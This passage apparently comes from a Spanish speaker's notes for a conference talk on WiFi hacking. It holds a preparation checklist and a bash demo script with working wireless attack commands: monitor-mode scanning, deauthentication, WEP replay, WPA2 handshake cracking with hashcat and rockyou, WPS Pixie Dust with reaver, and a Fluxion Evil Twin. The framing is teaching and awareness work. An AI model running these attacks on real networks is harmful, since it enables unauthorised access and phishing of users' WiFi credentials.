□ Handshake pre-capturado (backup si falla la captura en vivo)
□ Diccionario rockyou.txt descomprimido
□ Fluxion / Wifiphisher instalado y probado
□ Scripts de demo pre-configurados (reducir errores en vivo)
✅ Material imprimible:
□ Checklist de seguridad WiFi (1 por asistente)
□ QR code a recursos online
□ Contacto para consultas post-ponencia

Script de terminal para demo fluida

#!/bin/bash
# demo_wifi.sh — Script auxiliar para ponencia WiFi Hacking
# Ejecutar secciones individualmente, no todo de golpe
echo "=== DEMO WiFi Hacking — Ponencia ==="
echo ""
echo "1) Escaneo general de redes"
echo "2) WEP Attack"
echo "3) WPA2 Handshake Capture"
echo "4) WPA2 Hashcat Crack"
echo "5) WPS Scan + Pixie Dust"
echo "6) Evil Twin (Fluxion)"
echo ""
read -p "Selecciona demo [1-6]: " opcion
case $opcion in
1)
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
;;
2)
echo "Iniciando captura WEP..."
echo "Ejecutar en terminal separada: sudo aireplay-ng -3 -b <BSSID> wlan0mon"
sudo airodump-ng --bssid $BSSID_WEP -c $CANAL_WEP -w demo_wep wlan0mon
;;
3)
echo "Capturando handshake WPA2..."
echo "Ejecutar en terminal separada: sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT> wlan0mon"
sudo airodump-ng --bssid $BSSID_WPA -c $CANAL_WPA -w demo_wpa wlan0mon
;;
4)
echo "Crackeando handshake con hashcat..."
hashcat -m 22000 demo_hash.hc22000 /usr/share/wordlists/rockyou.txt --force
;;
5)
echo "Escaneando WPS..."
sudo wash -i wlan0mon
echo "---"
echo "Pixie Dust: sudo reaver -i wlan0mon -b <BSSID> -c <CANAL> -vv -K"
;;
6)
echo "Lanzando Fluxion..."
cd /opt/fluxion && sudo ./fluxion.sh
;;
esac

Referencias y recursos

Herramientas principales

Papers y vulnerabilidades

Hardware

Formación

Checklists de seguridad


Notas relacionadas

Título original en mis apuntes: WiFi Hacking - Complete Lab Guide